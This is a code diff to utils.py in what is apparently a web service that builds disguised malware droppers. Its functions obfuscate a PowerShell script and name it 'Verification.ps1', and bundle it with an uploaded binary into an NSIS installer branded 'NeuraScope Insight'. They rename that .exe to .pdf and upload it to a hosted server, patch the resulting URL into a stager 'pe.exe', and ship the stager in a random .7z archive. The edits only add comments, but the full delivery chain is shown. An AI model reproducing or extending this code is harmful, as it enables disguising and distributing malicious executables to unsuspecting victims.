Update utils.py

utils.py

@@ -33,12 +33,14 @@ def obfuscate_powershell_script(ps1_path):
         process.stdin.flush()
         stdout, stderr = process.communicate()
 
+        # Log the stdout and stderr for debugging
         current_app.logger.info(f"Obfuscation script stdout: {stdout}")
         current_app.logger.error(f"Obfuscation script stderr: {stderr}")
 
         if process.returncode != 0:
             raise Exception(f"Error obfuscating PowerShell script: {stderr}")
         
+        # Check if the obfuscated file was created
         obfuscated_file = ps1_path.replace(".ps1", "_obf.ps1")
         if not os.path.exists(obfuscated_file):
             raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_file}")
@@ -51,6 +53,7 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
     timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
     installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
 
+    # NSIS script template
     NSIS_SCRIPT_TEMPLATE = r"""
     ; NeuraScope Insight Installer Script
     !include "MUI2.nsh"
@@ -115,14 +118,17 @@ def compile_nsi_script(nsi_file_path):
 
 def upload_file_to_server(file_path):
     try:
+        # Rename the .exe file to .pdf
         renamed_file_path = file_path.replace('.exe', '.pdf')
         os.rename(file_path, renamed_file_path)
         
+        # Upload the renamed file to the server
         with open(renamed_file_path, 'rb') as file:
             response = requests.post(UPLOAD_URL, files={'file': file})
         
         if response.status_code == 200:
             data = response.json()
+            # Assuming the server returns a 'file_url' key with the file URL
             filename = os.path.basename(renamed_file_path)
             fixed_url = f'https://ambelo-benjamin.hf.space/uploads/{filename}'  # Fixed URL format
             return fixed_url
@@ -142,6 +148,7 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
         with open(file_path, 'rb') as exe_file:
             data = exe_file.read()
 
+        # Try different encodings of the old URL
         encodings = ['utf-8', 'ascii', 'utf-16le']
         url_found = False
         for encoding in encodings:
@@ -153,6 +160,7 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
         if not url_found:
             raise ValueError(f"The URL {old_url} was not found in the executable using any common encoding.")
         
+        # Try different encodings for the old string
         string_found = False
         for encoding in encodings:
             old_string_bytes = old_string.encode(encoding)
@@ -163,12 +171,15 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
         if not string_found:
             raise ValueError(f"The string {old_string} was not found in the executable using any common encoding.")
 
+        # Replace the old URL with the new URL
         new_url_bytes = new_url_padded.encode(encoding)
         modified_data = data.replace(old_url_bytes, new_url_bytes, 1)
 
+        # Replace the old string with the new string
         new_string_bytes = new_string_padded.encode(encoding)
         modified_data = modified_data.replace(old_string_bytes, new_string_bytes, 1)
 
+        # Save the modified executable with a random name
         modified_file_path = os.path.join(os.path.dirname(file_path), generate_random_string() + ".exe")
         with open(modified_file_path, 'wb') as modified_file:
             modified_file.write(modified_data)
@@ -180,6 +191,7 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
 def process_request(request):
     temp_dir = None  # Initialize temp_dir to be used in the finally block
     try:
+        # Save the incoming binary file
         if 'file' not in request.files:
             raise ValueError("No file part in the request")
         
@@ -192,35 +204,45 @@ def process_request(request):
         bin_path = os.path.join(temp_dir, file.filename)
         file.save(bin_path)
 
+        # Extract the file name from the full binary path
         bin_file_name = os.path.basename(bin_path)
 
+        # Read the PowerShell content from the local file
         with open(POWERSHELL_FILE_PATH, 'r') as ps1_file:
             ps1_content = ps1_file.read()
 
+        # Replace the placeholder with the actual binary file name
         ps1_content = ps1_content.replace("{bin_file_name}", bin_file_name)
 
         ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
         with open(ps1_path, 'w') as ps1_file:
             ps1_file.write(ps1_content)
 
+        # Obfuscate the PowerShell script
         obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
 
+        # Check if the obfuscated file exists before renaming
         if not os.path.exists(obfuscated_ps1_path):
             raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")
 
+        # Rename the obfuscated file to Verification.ps1
         verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
         os.rename(obfuscated_ps1_path, verification_ps1_path)
 
+        # Generate and compile the NSIS script
         nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
         compile_nsi_script(nsi_file_path)
 
+        # Upload the resulting EXE file (renamed to PDF) to the server
         download_url = upload_file_to_server(installer_output)
 
+        # Print the new string and new URL for debugging
         new_string = os.path.basename(download_url)
         new_url = download_url
         print(f"new_string: {new_string}")
         print(f"new_url: {new_url}")
 
+        # Replace URL in PE executable
         pe_exe_path = os.path.join(PE_FOLDER, "pe.exe")
         modified_pe_path = replace_url_in_exe(
             file_path=pe_exe_path,
@@ -231,17 +253,18 @@ def process_request(request):
         )
 
         # Create a .7z archive with ultra compression and LZMA2
-        archive_filename = generate_random_string() + ".7z"
-        archive_filepath = os.path.join(temp_dir, archive_filename)
-        with py7zr.SevenZipFile(archive_filepath, 'w', filters=[{'id': 'LZMA2', 'preset': 9}]) as archive:
+        seven_zip_filename = generate_random_string() + ".7z"
+        seven_zip_filepath = os.path.join(temp_dir, seven_zip_filename)
+        with py7zr.SevenZipFile(seven_zip_filepath, 'w', filters=[{'id': 'LZMA2', 'level': 9}]) as archive:
             archive.write(modified_pe_path, os.path.basename(modified_pe_path))
 
         # Return the .7z file in the response
-        return send_file(archive_filepath, as_attachment=True, download_name=archive_filename)
+        return send_file(seven_zip_filepath, as_attachment=True, download_name=seven_zip_filename)
 
     except Exception as e:
         current_app.logger.error(f"An error occurred: {str(e)}")
         return jsonify({"error": str(e)}), 500
     finally:
+        # Clean up temporary directories and files
         if temp_dir and os.path.exists(temp_dir):
             shutil.rmtree(temp_dir, ignore_errors=True)